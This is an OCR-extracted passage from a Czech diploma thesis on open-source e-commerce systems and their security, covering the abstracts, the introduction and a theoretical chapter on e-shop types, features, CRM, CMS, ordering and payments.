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ABSTRAKT

Tato diplomova prace se zabyva rozborem aktudlni situace open source aplikaci uréenych
pro elektronické obchodovani a jejich zabezpeCenim proti sou¢asnym tutokiim sméfovanym
na webové systémy. V prvni ¢asti prace jsou objasnény zakladni vychodiska e-komerce a
vlastnosti soucasné pouzivanych e-shopi. Druha ¢ast pojednava o bezpec€nosti v oblasti
elektronického obchodovani, kde je rozebran aktudlni fenomén hacking a zejména
konkrétni typy utokid na webové aplikace. V praktické ¢asti jsou popséna jednotlivd open
source feSeni vhodna pro provoz elektronického obchodu a nésledna volba a implementace
vybranych systémut na provozni server. Tato feSeni jsou poté provéiena aplikacemi pro
automatizované testovani bezpecnosti webovych systémil, jejichz vysledky jsou v zavéru

praktické ¢asti analyzovany.
Klicova slova:

e-komerce, elektronicky obchod, open source, bezpecnost webovych aplikaci, testovani,

zranitelnost, hacking

ABSTRACT

This diploma thesis is focused on the analysis of current situation of open source software
systems intended for electronic business and is aimed on hardening the e-commerce
systems against the present day attacks. In the first part of the thesis are clarified basic
principles of electronic commerce and features of the most frequently used e-shop systems.
The second part deals with the security issues in e-commerce and there is a thoroughly
analysed contemporary phenomena — hacking and especially specific kinds of attacks on
web applications. In practical part of the thesis are described individual open source
solutions suitable for operating of electronic business and consequently process of
selection and implementation of the most appropriate systems to the production server.
These solutions are examined by specific applications for automated testing of web
systems vulnerabilities. Results of examination are analyzed and summarized in the

conclusion of practical part.
Keywords:

e-commerce, e-shop, open source, web application security, testing, vulnerability, hacking
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UvVOD

Nabidka zbozi a sluzeb jiz ddvno neni doménou pouze kamennych obchodl a obchodovani
za pomoci Internetu je dnes pro mnohé jeho uzivatele béZnou soucasti zivota. Zakaznici uz
nemusi stat dlouhé fronty v obchodech a vybér svého nakupu si mohou v klidu promyslet z
pohodli svého domova. E-shopy jsou otevieny 24 hodin denné po cely rok a prodavané
zboZi je Casto nakupovano pfimo od vyrobce za nejnizsi cenu. Elektronické obchodovani
nepiinas§i mnohé vyhody pouze tém, kdo stoji na strané poptavky, ale také predevSim
nabizejicim organizacim. Komunikace pfes Internet vyrazné snizuje naklady vznikajici pii
prodeji a mensi firmy tak ziskavaji Sanci proniknout na trh bez nutnosti budovani klasické

sit€ obchodt. JelikoZ je znacnd Cast prodejni Cinnosti automatizovana, odpadd mnoha prace

prodavact a obslouzeno je vétsi mnozstvi nakupujicich.

Elektronické obchodovani ma mimo mnoha svych nespornych vyhod také jisté nevyhody a
tim je v dnesSni dobé ptredevSsim bezpecnost provadénych transakci pii ndkupu. Nartst
utokll na webové aplikace a jejich neustdle zvySovand sofistikovanost nuti tvlirce danych

systému neustale drzet krok s pivodci téchto nekalych aktivit.

Tato prace se zabyva analyzou aktudlni situace open source aplikaci uréenych pro
elektronické obchodovani a jejich zabezpecenim proti sou¢asnym utokim zaméfenym na
webové systémy. Uvodni ¢ast prace popisuje zakladni vychodiska e-komerce, kde jsou
podle specifickych kritérii rozebirany jednotlivé kategorie elektronickych obchodi. Dale
jsou zde popsany vlastnosti dneSnich nejpokrocilejSich e-shopi a také jejich moznosti
integrace s ucetnimi a ekonomickymi systémy. Nésledujici ¢ast pojednava o bezpecnosti v
oblasti elektronického obchodovani, kde je v tvodu nejprve objasnén pojem hacking, jeho
historie a typy jednotlivych hackerti. Dale jsou zde rozebrany konkrétni zplsoby utoki
sméfovanych na webové aplikace, jejichz soucasny nartist znamena pro mnohé organizace

znacnou bezpecnostni hrozbu.

V praktické casti jsou popsana jednotlivd nejuzivané€j$i open source feSeni urcend pro
elektronické obchodovani a jejich nasledny vybér a instalace na provozni server. V téchto
systétmech je dale provedeno naplnéni produktovych katalogi vzorovym zbozim a
upraveno jejich nastaveni spolu s editaci CMS stranek. Nasledujici ¢ast prace popisuje
aplikace pro automatizované testovani bezpecnosti webovych systémi a vybranymi z nich
jsou poté implementovanad feseni testovana. Zavér praktické Casti prezentuje vysledky

téchto analyz a jejich nasledny podrobny rozbor.
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I. TEORETICKA CAST
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1 ELEKTRONICKE OBCHODOVANI
1.1 Definice e-komerce

OECD (Organisation for Economic Co-operation and Development) definuje elektronické
transakce v SirSim pojeti jako nakup ¢i prodej vyrobkl a sluzeb, at’ uzZ mezi podnikateli,
domécnostmi, jednotlivymi spotiebiteli, vladou, dal$imi vefejnymi ¢i soukromymi
organizacemi, ktery je provadén prostiednictvim pocitacovych siti. Vyrobky a sluzby jsou
prodavany s vyuzitim téchto siti, ale jejich vlastni dodavka miZe byt provedena on-line

nebo off-line. [1]

1.2 Historie elektronického obchodovani

S ptrichodem Internetu vznikl novy smér v oblasti podnikani a prvni elektronické ndkupy
probéhly jiz v roce 1992 v USA. S rozsifenim protokolu HTTP a na ném stavénych WWW
aplikaci vznikly v letech 1994 a 1995 jedny z prvnich elektronickych obchodt podobné
tém dne$nim. V roce 1994 vyvinula spole¢nost Netscape Communications Corporation
prvni verzi bezpecnostniho protokolu SSL, ktery vyznamnou meérou podpofil moZnost
vyuziti relativné bezpecné elektronické platby za pomoci kreditnich karet. O ¢tyfi roky
pozdéji vznikl nejznaméjsi internetovy platebni systém PayPal, ktery umoznil pohodiny

pfevod penéz z bankovnich G¢th ¢i kreditnich karet na ucet tohoto platebniho systému a

nasledné tak rozs$ifil moznosti elektronického obchodovani.

Prvni prodejni oblasti v tomto novém obchodnim odvétvi byl hudebni primysl. Po CD
nahravkach nasledovaly rizné darkové predméty a predevsim také knihy. Pozdé&ji v

nabidce tehdejSich e-shopti ptibyla dale elektronika, hracky ¢i nabytek.

Jako jedny z prvnich nejvyznamnéjsich subjektii pohybujicich se v oblasti elektronického
obchodovani lze oznacit spole¢nosti Amazon a eBay. Amazon zalozeny Jeffem Bezosem
zacal nejprve jako prodejce knih, ale pozdéji sviij sortiment rozsitfil o mnoha dalsi odvétvi
a dnes je zde mozné nakoupit riznorodé zbozi jako naptiklad elektroniku, $perky, hudebni
nastroje, kosmetiku a mnohé jiné. Spolecnost eBay, jako nejzndméjs$i americka aukéni sin
byla zaloZena pocitaovym programatorem Peirrem Omidyarem a jeji plivodni nazev byl
Auctionweb.

V Cesku se prvni elektronické obchody zadaly objevovat v roce 1996 a jednim z

prikopnikl tohoto oboru podnikéni byl u nas obchod Vltava, ktery se zpocatku podobné

jako Amazon zaméfoval pouze na prodej knih. Dnesni zakaznici pozaduji od prodejcti na
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internetu predev§im vcasné dodani, ale také moznost snadné reklamace, vraceni zbozi ¢i
napiiklad realizaci nakupu na splatky a obecné profesionalni poprodejni sluzby, kde je

ocenovan piedevsim rychly a spolehlivy servis. [7]
1.3 Kategorie e-shopi

1.3.1 Kilasifikace podle subjekti
Business to Consumer (B2C)

Jedna se o prodej zboZi a sluZzeb od podnikatelskych subjektli ke kone€nym spotiebitelim,
kde takovy spotiebitel mize byt rovnéz podnikatel, pokud se nejedna o obchodni zbozi, ale

zbozi konecné spotieby.
Business to Business (B2B)

Je to prodej zbozi a sluzeb mezi podnikatelskymi subjekty, které nejsou uréeny ke konecné
spotiebé, ale k zajisténi samotné funkénosti obchodu. Spolu s B2C patii tento obchodni
model k t€ém nejrozsitengjsim.

Consumer to Consumer (C2C)

Jde 0 prodej zbozi a sluzeb mezi spotiebiteli navzajem zpravidla za pomoci tieti strany,
ktera zajist'uje potiebné transakcni feSeni. Patii sem predevsim rtizné aukce, spotiebitelské

inzerce a jiné podobné formy této prodeje.
Consumer to Business (C2B)

Tento obchodni model zahrnuje prodej zbozi a sluzeb konecnym spotiebiteliim, kde na
rozdil od modelu B2C vychazi iniciativa ze strany spotiebitele, a to v podobé konkrétni
poptavky umisténé nékde na Internetu. T¢é pak dany vyrobce - pokud je ochoten - vyhovi, a
to bud’ sam, ¢i prostiednictvim zprostiedkujicitho serveru, ktery provadi sbér téchto

poptavek.
Government to Consumer (G2C)

Jedna se pfedevSim o informacni sluzby poskytované verejnym sektorem obCaniim. Patii
zde naptiklad mapy, jizdni fady, seznamy telefonnich &isel, pfedpovédi pocasi ¢i také

elektronické volby.
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Consumer to Government (C2G)

Zde se jedna o komunikaci mezi obCany a statem. Je zde zahrnuta napiiklad zadost o

vydani fidi¢ského priikkazu, podani daiiového piiznani nebo zadost o socialni davky.
Business to Government (B2G)

B2G je pojem oznacujici vztah podnikatelskych subjekti a statu. Zakaznikem je v tomto

obchodnim modelu vlada, ktera predstavuje vyznamného spotiebitele zbozi a sluzeb.
Government to Business (G2B)

Jde 0 vykon vefejné spravy v oblasti komeréni sféry mezi vladou a podnikatelskymi
subjekty. Jsou zde zahrnuta napiiklad elektronickd danova ptiznani firem, vykazy pro

dichodové pojisténi, informace o grantech a dotacich apod.
Government to Government (G2G)

Tento vztah fesi podporu komunikace v ramci vefejné spravy, ktera neovliviiuje obCany

ani soukromé organizace. G2G je vyuzivano také pro koordinaci mezinarodni spolupréce.
[1]
Tab. 1. Prehled druhii elektronického obchodovani podle subjektii [1]

Kupujici
Prodavajici
firma spotiebitel vlada
firma B2B B2C B2G
spotiebitel C2B c2C C2G
vlada G2B G2C G2G

1.3.2 Klasifikace podle otevienosti pouZitého média
Uzavriené transakce

Jedna se o obchodni styky uskuteciované pomoci uzavienych komunikacnich kanali mezi

pevné danym okruhem ucastnikd.
Oteviené transakce

Jde o klasicky typ elektronického obchodovani pomoci sité Internet s neomezenym poctem

obchodujicich.
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1.3.3 Klasifikace podle zpiisobu plnéni
Elektronické obchodovani primé

Objednavka, platba i dodavka zbozi probihd vyhradné prostfednictvim elektronickych
prostiedkli. Miize to byt napiiklad online ndkup programovych aplikaci ¢i elektronickych

knih s platbou i pfimym stazenim za pomoci Internetu.
Elektronické obchodovani nepiimé

Jedna se o nejbézngjsi zplsob elektronického nakupu, kdy objednavka zboZi, uzavieni
smlouvy, pfipadné€ i jeho platba probiha prostfednictvim elektronické komunikace, ale
dodani je provedeno klasicky naptiklad ptes posStovni sluzby ¢i dodavkou dopravni

spolecnosti. [8]
1.4 Vlastnosti elektronickych obchodu

1.4.1 Koncepéni rozdéleni

Podobné jako vétSina ostatnich webovych aplikaci s dynamicky proménlivym obsahem
jsou také elektronické obchody vytvafeny pomoci oddélené struktury slozené z tzv. front-

end a back-end ¢asti.
Front-end

Front-end v ptekladu "piedni Cast" je aplikacni celek slouzici k prezentaci udaji ur¢enych
pro navstévniky. Zakladem kazdého e-shopu je katalog zbozi, ze kterého jsou vybrané
produkty vkladany do ndkupniho koSiku a po dokonceni vybéru jsou uzivatelé presunuti do

objednavkového formulare, ktery jsou uréeny k dokonceni a odeslani objednavky.

Dnes jsou témeéf samoziejmou soucdsti prezentaCnich celkt e-shopli registracni a
ptihlasovaci formulafe slouzici k vytvoreni zakaznického uctu a naslednému ptistupu do
tohoto profilu. Zde jsou ulozeny zékladni identifikacni tdaje zdkaznika potfebné k
provedeni nakupu. Ukladaji se tu taktéz odeslané objednavky, jejichz aktualni stav vytizeni

je v této sekci ¢asto mozné sledovat.

Prezentacni ¢ast obsahuje dale také nezbytné udaje o prodéavajici spolecnosti, obchodni

podminky nakupu, informace o vyrobcich a dodavatelich produktii a jind potiebna sdéleni.
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Back-end

Back-end znamena v cestiné "zadni cast" a oznacuje tu sekci elektronického obchodu,
ktera slouzi k administraci a zpracovani dat. Do této casti aplikace maji piistup pouze

osoby zodpovidajici za provoz e-shopu a bézny zakaznik toto rozhrani nevidi.

Back-end sekce dnesnich elektronickych obchodi Casto obsahuji mnoho riznych funkci
uréenych k efektivni spravé a nastaveni téchto aplikaci. NejzakladnéjSimi z nich je
pfedevsim cast slouzici pro vkladani zbozi do produktového katalogu. Zde jsou vytvafeny
kategorie produktli ¢i monitorovany pohyby zbozi na skladu apod. Dalsi dilezitou sekci
administrace je oddil slouzici pro spravu a evidenci uzivatelskych ucti. Registrované
zakazniky je tady Casto mozné sdruzovat do pieddefinovanych skupin a tém pfifazovat
rizna zvyhodnéni. Dale je zde také Cast pro spravu objednavek, kde Ize mnohdy najit

moduly pro generaci faktur a dodacich listi.

Z dalsich dualezitych funkci lze uvést napiiklad sekce pro definovani pifepravnich a
platebnich mozZnosti, moduly pro zménu prezentacni front-end Casti, sekce pro zédlohovani

¢1 podporu pro monitorovani riiznych statistik atd.
1.4.2 Produktovy katalog

Kategorie

Produktové kategorie slouzi k zakladnimu dé€leni zbozi na jednotlivé sekce podle urcitych
vlastnosti ¢i funkénosti, které dany produkt spliiuje. Tyto hlavni oddily maji Casto své
podsekce, které piesnéji specifikuji dany okruh zbozi a ty mohou mit dale své vlastni

podkategorie pro jesté presnéjsi roz¢lenéni atd.

Dnesni elektronické obchody podporuji tvorbu rozmanitych produktovych struktur, které

slouzi k ptehledné navigaci zdkaznika pii ndkupu.

| KATEGORIE

G Zabezpeéeni objekt
[ Systém 0ASIS BeBMhz
Ustfedny
Detektary
Sirény
Pristupowve systemy

Zabezpeceni vozidel
Automatizace
Ostatni

Obr. 1. Ukdzka produktové struktury
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Atributy a vlastnosti produkti

Atributy a vlastnosti produkt upfesiuji kritéria vybirana pii vytvareni filtru ur¢eného k
vyhledavani pozadovaného zbozi. Atributem muize byt naptiklad barva dan¢ho produktu,
vyrobni technologie ¢i tfeba pamétova kapacita u nékterych pocitacovych komponent. Za

vlastnosti zbozi lze povazovat napiiklad jejich $itku, vysku, vahu apod.
Vyhledavani

Vyhledavani zbozi mize mit riznou podobu. Jednim z nich je tzv. vyhledavani fulltextové,
které funguje na principu prichodu veskerych textovych zaznami o produktech a
vyhledani vyskyti zadaného fetézce. Tento zplsob lze dale zdokonalit pouzitim tzv.
"naseptavaci” fungujicich za pomoci technologie AJAX (Asynchronous JavaScript and
XML), ktera vyuziva kombinaci jazykt JavaScript a XML, diky nimz lze provadét zmény

obsahu internetovych stranek bez potieby jejich opétovného znovunadteni.

Dalsi variantou mize byt vyhledavani podle kli¢ovych slov, kterd jsou ke zbozi

pfifazovana pii vytvareni produktového katalogu.

Casto Zadanym zplsobem, jak vytvofit kritérium pro vyhleddvané zboZzi jsou tzv. cenové

filtry, které zdkaznikiim umoziuji definovat pfijatelny cenovy rozsah.
Piilohy ke zboZi

Nékteré soucasné e-shopy cCasto podporuji moznost vkladat k jednotlivym produktim
rizné informacni soubory. To mohou byt napfiklad manualy k pouziti, podrobné technické

specifikace, certifikaty atd.
UZivatelské prispévky

Zde patii ptfedevSim funkce umoziujici vkladani uzivatelskych recenzi ke zbozi, které jiz
zakaznik vlastni a mize se touto formou podélit o své nazory, hodnoceni a poznatky

ziskané z uzivani produktu s ostatnimi uZivateli.

Dalsi oblasti v této kategorii je moznost vytvareni diskuzi k produktim, kde jsou dotazy

sméfovany jak na samotné prodejce, tak na uzivatele, ktefi jiz dany produkt vlastni.

Nekteré elektronické obchody také umoznuji vkladat k zakoupenym produktim
zakaznicka videa ¢i obrazky. Tyto pfispévky poté mohou byt pro svij kladny pfinos k
roz$ifeni informac¢ni podpory produkti odménény napiiklad riznymi uzivatelskymi bonusy

apod.
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Vyrobci a dodavatelé

Vytvarfeni sekci vyrobctu ¢i dodavateld je jednou z dalsich moznosti, jak kategorizovat
prezentované zbozi. Tato skutecnost zdkaznikim navic umoznuje ziskani udaji o
jednotlivych vyrobcich a dodavatelich, které jsou ¢asto v mnoha piipadech po prodejci

pozadovany.
Porovnani produktii

Dal$im rozsifenim mize byt u nékterych elektronickych obchodti naptiklad schopnost
porovnani vlastnosti dvou ¢i vice nabizenych produkti, kde tato funkce slouzi k podpoie
rozhodovéani pfi vybéru pozadovaného zbozi. V kategorii porovnani lze zminit také
moznost propojeni elektronického obchodu na cenové porovnavace jako Heureka.cz

Zbozi.cz ¢i Nejlepsiceny.cz apod.
Oblibené polozky

Tato funkcionalita slouzi k podpote rychlejsiho ndkupniho procesu, kterou vyuzivaji
predevsim skupiny zdkaznikti nakupujici urCité druhy zbozi v castych casovych
intervalech. Registrovani uzivatelé si tak vytvaii seznam oblibenych polozek a pii pfistim

nakupu Setii Cas straveny jejich vyhledavanim v rozsahlych produktovych strukturach.
Sklad

Dulezitou funkci pro mnohé prodejce je moznost vedeni evidence skladovych zasob
nabizenych produktt. U pokrocilych elektronickych obchodi 1ze v této sekei najit mnoho
uzite¢nych funkci. Je to napiiklad moZnost nastaveni odesilani informacnich e-maild pfi
poklesu mnozstvi ur¢itého zbozi, podpora detailniho zobrazovani téchto stavii zakaznikiim

¢i funkce pro poskytovani mnozstevnich slev na zakladé objemu nakupu apod.
Hromadny import

Hromadny import zbozi do produktového katalogu je dnes téméf nutnosti, kterou by mél
obsahovat kazdy soucasné vyuzivany elektronicky obchod. Tato funkce automatizuje
¢innost vkladani zbozi do produktové databdze a je vyuzivana piedevSim pro znacnou

usporu €asu pii vytvareni a aktualizaci rozsahlé nabidky prodejcti.

Nejcastéjsim formatem pro hromadny import produkti jsou soubory typu CSV (Commas-
separated values). CSV znaci souborovy format, kde jsou jednotlivé udaje o zbozi

oddé€lovany carkou, a kazdy produkt je reprezentovan jednim fadkem.
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U tabulkového editoru Microsoft Excel, ktery podporuje ukladani dat ve formatu CSV je
napiiklad jako oddé€lovac¢ tdaji pouzit stiednik, a tudiz 1ze vidét, ze syntaxe pouzivana v

aplikacich pracujicich s timto formatem neni vzdy totozna. DalS$i moznosti jak provadét

vvvvvv

1.4.3 Zakaznici
Ziakaznické ucty
Zakaznické ucty obsahuji zdkladni informace nutné pro ndkup produktii a patii zde

pfedev§im dodaci adresy, kontaktni udaje jako mail, telefonni spojeni ¢i ptipadné také

jméno spolecnosti a fakturacni adresa pii nakupu zbozi firmou.

Dale jsou zde ¢asto ukladany dalsi doplinkové tdaje jako naptiklad pozadavek na zasilani
novinek a reklam formou e-mailu, datum registrace uZzivatele, pocet piihlaseni k jeho uctu

nebo piislusnost k urcité uzivatelské skupiné apod.
UZivatelské skupiny

Uzivatelské skupiny jsou vyuzivany K selekci nakupujicich do ur€itych kategorii, které pak
slouzi naptiklad k poskytovéani riznych slev a vyhod ¢i naopak k blokaci nesolventnich

zakaznikd apod.

Tyto skupiny mohou byt €asto vytvareny podle libovolnych kritérii a d€li tak zakazniky
napiiklad podle zemé piivodu, objemu nebo poctu objednavek ¢i podle toho, zda se jedna o

firmu nebo b&zného odbératele.
Slevy

Slevy mohou mit riznou podobu a jsou vytvaieny pro urcité skupiny zdkazniki nebo pro
specifické kategorie zbozi. Mohou byt vytvatreny s trvalou platnosti ¢i omezeny pro urcité

¢asové obdobi.

Nejcastéji jsou definovany jako procento z ceny produktu nebo pii skupinové slevé u
vybranych zakazniki jako procento z celkového nakupu. Slevova zvyhodnéni mohou
vznikat také napiiklad pfi nakupu vétSiho mnoZstvi vybraného zboZi €i pfi dosaZeni urcité

vyse celkové ceny objednavky.
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144 CRM

CRM (Customer relationship management), neboli fizeni vztaht se zakazniky, oznacuje
proces zahrnujici vSechny zptusoby komunikace mezi organizaci a nakupujicim. Souhrn
téchto procest obsahujici sbér a vyuziti informaci pii prabéhu obchodnich transakei slouzi
pfedevsim k ptfedvidani pfani a potieb zakaznikl, a tim ke zdokonaleni sluzeb, které jsou

nakupujicim poskytovany.
Novinky a reklamy

V odvétvi elektronického obchodovani 1ze do CRM procesit zahrnout naptiklad moduly
pro zasilani obchodnich novinek a reklamy, které ma uzivatel ¢asto moznost nastavit dle
vlastniho z4jmu jen pro urcité kategorie produktii. Novinky zasilané e-mailem ve formé

HTML mnohdy v pravidelnych intervalech jsou nazyvany terminem newsletter.
Cenovy alarm

Do této sekce spada rovnéz moznost vyuziti funkce cenového alarmu, ktery zdkaznikiim
umoziuje nastaveni preferované ceny pro zadany produkt. Tato vlastnost je Casto nazyvana
taktéz jako tzv. hlidaci pes a funguje tak, ze pokud dojde k poklesu dané ceny na
pozadovanou hladinu, zakaznik je o této udalosti informovan, a to nejcastéji

prostiednictvim e-mailu.
Up-selling

Jedna se o tzv. navySovaci prodej, kdy dochdzi k piesvéd¢ovani zdkaznika o vyhodnosti
nakupu nové&jsi verze ¢i vyssiho modelu daného produktu nebo feSeni, které vede ke

zvyseni jeho hodnoty a je provadén nejcastéji formou informacniho e-mailu. [10]
Cross-selling
Cross-selling, neboli také kiizovy prodej, je obchodni strategie slouzici k presvédceni

zakaznika ke koupi souvisejicich produktii, jejich pfislusenstvi ¢i sluzeb, které se uzivateli
automaticky nabizeji pfi prohlizeni jednotlivého zbozi. [11]

Sponzorské a vérnostni programy

Do kategorie CRM spada také moznost aktivace sponzorskych a vérnostnich programi,
které 1ze definovat na zaklad¢ riznych kritérii, a to naptiklad podle poctu provedenych

objednavek ¢i nakoupeného zbozi. Dle téchto definovanych kritérii jsou danym uzivatelim

piipisovany vérnostni body, které 1ze pozdéji uplatnit pti dalSim nakupu.
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Mnohé e-shopy umoziuji svym zakazniklim pfi registraci uzivatelského uctu vyplnit své
datum narozeni a na zaklad¢ této informace mtize prodejce poskytovat rizné narozeninové

vyhody jako naptiklad drobné darky k ptisti provedené objednavce apod.
Darkové poukazy a slevové kupony

Darkové poukazy a slevové kupony jsou jednou z dalSich variant, jak uzivatelim
zptijemnit ndkupni podminky. Tyto moznosti jsou ¢asto vyzivany pfedevSim pii nakupu
riznych sluzeb, coz mohou byt napiiklad vikendové pobyty ¢i poukazy k neobvyklym

sportovnim aktivitdm apod.
Hodnoceni zboZi po nakupu

Tato funkce slouzi k ziskani zpétné vazby od zakaznikt, kdy je po provedené objednavce s
uréitym casovym odstupem automaticky generovan a odesldn e-mail, ktery uzivateli

umozni vyjadfit spokojenost s nakoupenym zboZzim a souvisejicimi sluzbami.

Statistiky

S 24

zakazniky. V této oblasti jsou sledovany mnohé faktory, a to napftiklad:

e Navstévnost jednotlivych stranek,

e Doba pfitomnosti uzZivatele na webu,

e Pocet uzivatelskych registract,

e Obecné informace o uzivatelich,

e Informace o uzZivaném softwaru,

o Udaje odkud uzivatelé do e-shopu pfichazeji,

e Statistika zadavanych klicovych slov pfi vyhledavani,
e Statistika prodeje zbozi,

e Informace o uskute¢nénych objednavkach,

e Statistické informace o vyuzitém zptusobu dopravy a platby,
e Udaje o mnozstvi celkovych trzeb za dané obdobi,

e Pocet reklamaci,

e Pocet vraceného zboZi.

Vycet moznych oblasti, které mohou byt monitorovany, neni Uplny a kazdy elektronicky
obchod poskytujici provadéni téchto statistik ma pro tyto funkce rtizné rozsahlou podporu.
Obecn¢ jsou ziskané tidaje kvili prehlednosti Casto prezentovany ve formé interaktivnich
grafti. Ty umoznuji vyuzivat riznych filtri, které napomahaji zobrazit pfesn¢ pozadované

informace.
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145 CMS

Content management system, v piekladu systém pro spravu obsahu, je v oblasti

internetovych aplikaci obecné software, ktery slouzi k spravé a prezentaci webovych

dokumentu.

Tento typ aplikaci, nazyvanych Casto také pojmem redak¢ni ¢i publikaéni systém, je
vyuzivan ptedevs§im pro svou schopnost rychlé tvorby internetovych prezentaci za pomoci
uzivatelsky piivétivého rozhrani, které pifi vyuziti WYSIWYG editoru nevyZaduje
podrobnou znalost webovych technologii. Mezi nejznaméjsi systémy tohoto typu lze fadit

naptiklad WordPress, Joomla ¢i Drupal. [12]

V prostiedi internetovych obchodu jsou vlastnosti CMS systémil vyuzivany predevsim pro
snadnou tvorbu a editaci stranek slouzicich k prezentaci udajii spojenych s prodejni
¢innosti organizace. Patii zde stranky popisujici licenéni podminky, reklamaéni fad,
servisni sluzby, dopravni a platebni podminky ¢i sekce napovédy. Dale zde firmy mohou

vkladat recenze na produkty, reference na své sluzby, odkazy na partnerské stranky apod.

Podpora tvorby CMS stranek je u kazdého e-shopu jina a miiZze zde byt zahrnuta napiiklad
také moznost editace e-mailovych zprav slouzicich pro odeslani tdaju o registraci, zméné

hesla, odeslani objednavky apod.

Béznou funkci integrovaného CMS systému je také moznost vkladani informaci soub&zné

ve vice jazycich a jejich pfepinani je zajiSténo spolupraci s lokalizacnim modulem

aplikace.
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Bezpedénostni informace

Osobni ddaje, kterd jsou souddsti objedndvky nebo registradnich ddajd zdkaznika jsou
povaZovany za divErné a jsou chranény proti zneuiti. Udaje o zdkaznicich zdsadné nebudou
sdélovany tfetimm osobam kromeé téch, které se pfimmo podileji na wyiizeni objednavky, a to
pouze v nutném rozsahu,

Path: h2

Obr. 2. WYSIWYG editor e-shopu PrestaShop
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1.4.6 Objednani zboZi

Nakupni koSik

Nakupni kosik je znama funkcionalita elektronickych obchodu slouzici k ukladani zbozi
pied samotnym nédkupem vyuzivana obdobn¢ jako bézny nakupni kos ¢i vozik v klasickém
kamenném obchodé. Jednou z vlastnosti, které je mozné u nakupniho ko$iku nastavit, je

funkce, ktera podporuje ukladani jeho obsahu do profilu registrovaného uzivatele, a tim

poskytuje moznost provedeni ndkupu v pozdéjs$i dobé bez nutnosti jeho opétovného plnéni.

Nékupni kosik je izce navazéan na sekci slouZzici k vytvareni objedndvek a jsou v ném casto
indikovany napiiklad informace o ¢astce nakupu, ktera zbyva do moznosti ziskani
bezplatné dopravy zbozi ¢i pfipadné dalSich vyhod vznikajicich pii splnéni podobné

nakupni podminky.
Objednavka

Tato sekce slouzici k objednani zbozi z nakupniho kosiku byva ¢asto rozdélena na né€kolik

dil¢ich casti a ty mohou byt pro jednotlivé e-shopy mirné€ odlisné.

Prvni ¢ast zpravidla slouzi ke kone¢né kontrole vybraného zbozi. Jde tady ptedevsim o
pozadovany pocet kusu, ale také o kontrolu vybranych atributti ¢i vlastnosti, pokud je dany

produkt nabizeny ve vice variantach.

Dalsi oddil objednavky obvykle poZaduje kontrolu dorucovaci ptipadné fakturacni adresy
vkladané z profilu ptihlasené¢ho zédkaznika. Pokud je objednavka provadéna bez uzivatelské

registrace, je zde nutno pozadované adresni udaje vyplnit.

Po kontrole obsahu koSiku a zadani adresy nasleduje vybér zpisobu dopravy zbozi a
preferované platby. Nekteré elektronické obchody poskytuji také moznost zadani
pozadavku na zabaleni objednavky do darkového baleni ¢i jinych specifickych pozadavki,

které mohou byt zminény v poznadmce, ktera je prikladana k objednavce.

Konec¢nou fazi je samotné odeslani objednavky, které je Casto Spojeno s potvrzenim o
souhlasu se stanovenymi obchodnimi podminkami prodavajiciho, jenz byvaji v této sekci
predkladany k precteni. K odesilané objedndvce jsou poté automaticky ptipojovany dalsi
udaje, a to predevsim jeji evidencni Cislo, déle také ¢as a IP adresa, odkud bylo objednani

provedeno apod.

Pii uspeSném odeslani je objednavka od zékaznika se vSemi zadanymi udaji ulozena v

databazi elektronického obchodu a o této udalosti je informovan jak sam nakupujici, tak i
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osoba odpovédnd za vyfizovani pfijimanych zakazek. Tato zprava je zprostfedkovana
nejcastéji prostiednictvim e-mailu ¢i SMS. Pro systém zpracovani objednavek byva ¢asto
vytvoien souhrn pfeddefinovanych statust, ve kterych se miize dana objednavka nachazet,
a jsou to napiiklad tyto stavy:

e Objednavka piijata,

o Cekani na piijeti platby,

e Platba pfijata,

e Priiprava zbozi pro piedani dopravci,

e Zbozi ptedano dopravci,

e Objednavka dodana,

e Objednavka zrusena,

e Penize vraceny,

e Zbozi vraceno.
Téchto statusti mize byt vice a Casto je mozné Si definovat své vlastni stavy, ve kterych se
objednavka mulze nachazet. Pro kazdy z téchto statusii je napldnovan urCity souhrn

preddefinovanych akci, které maji sva vlastni specifika.

Pokud je naptiklad zbozi pifedano dopravci, zakaznik je o tom informovan prostfednictvim
e-mailu a mize tak ocekavat doruceni své objednavky. Dopravce obdrzi kromé samotné
zasilky také kontaktni Udaje na zdkaznika s ptipadnymi specifiky poZadovanymi pro
dodéni. Jednim z téchto upfesiiujicich idaji mize byt naptiklad urcity ¢asovy interval, ve

kterém si zakaznik pteje objednavku dorucit atd.
Faktury a dodaci listy

Bézné Zadanou vlastnosti dne$nich e-shopt je podpora tvorby faktur a dodacich listd z
ptijatych objednavek. Vyslednd podoba dokumentu miize mit ¢asto libovolnou formu diky
modulu, ktery umoziuje sestaveni a modifikace téchto dokladd. Vystupnim formatem
téchto dokumenti je zpravidla soubor PDF, jehoZz generace byva zajisténa naptiklad
pomoci voln¢ dostupné PHP tfidy FPDF, kterou vyvinul francouzsky programator Olivier
Plathey. [13]

Vytvotené faktury ¢i dodaci listy jsou ukladany pro vlastni pottebu prodavajici organizace
a Casto jsou také automaticky odesilany jako ptilohy e-mailu pro nakupujiciho. Nekteré
elektronické obchody tyto dokumenty neodesilaji jako soucast e-mailu, ale zpfistupnuji je

registrovanym zakaznikim v jejich profilové sekci.
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147 Platby

Mény

Nastaveni mén, ve kterych mohou probihat platby za objednané zbozi, ma sva urcita
specifika. Zakladnim z nich je ptfedev§im konfigurace vychozi mény, ve které jsou
vkladany ceny nabizeného zbozi do produktového katalogu a ty jsou také defaultné

zobrazovany pfi vstupu zakaznika do e-shopu.

Pokud uzivatel pfepne nastaveni na nékterou z jinych definovanych mén, dochazi tak k
pfepoctu cen v kurzu vztazeném k méné defaultni. Aktudlni kurzy byvaji nacitany z
kurzovniho listku nékteré z bank, a to za pomoci systémového nastroje Cron. Tato aplikace
funguje na principu tzv. démona, coz je dlouhodobé spustény program vyckavajici v
necinnosti na urcitou udalost, kterou mtize byt naptiklad pravé pozadavek na kazdodenni

nacitani aktualniho souboru kurzii z webového serveru banky. [14]

2012-03-09 17:40:01

srrrDevizyyrrValucy

Zemé;MnoZatvi; Ména; Zména; Nakup; Prode; 3cfed; Nakup; Prodej; Scred
Austrélie;1;AUD;-0,50;19,517;20,273;:19,895:0,00:0,00:0,00
Dansko:1;DKK:-0,30:3,27073,39623,333:3,2623,40:3,33
EM3:1;EUR;-0,10;24,307;25,249;:24,775:24,26;25,30;24,78
Chorvatsko;1:HRK;-0,10;3,2158;3,342;3,2580;0,00;0,00;0,00
Japonsko;100;JPY:-1,7V0:22,372:23,2686722,829;0,00;0,00:0,00
Kanada;1;CAD;-0,40:15,514:19,232;:18,873;0,00:0,00;:0,00
Madarsko;100:HUF:0,50;8,288:8,626;8,457;0,00;0,00:0,00
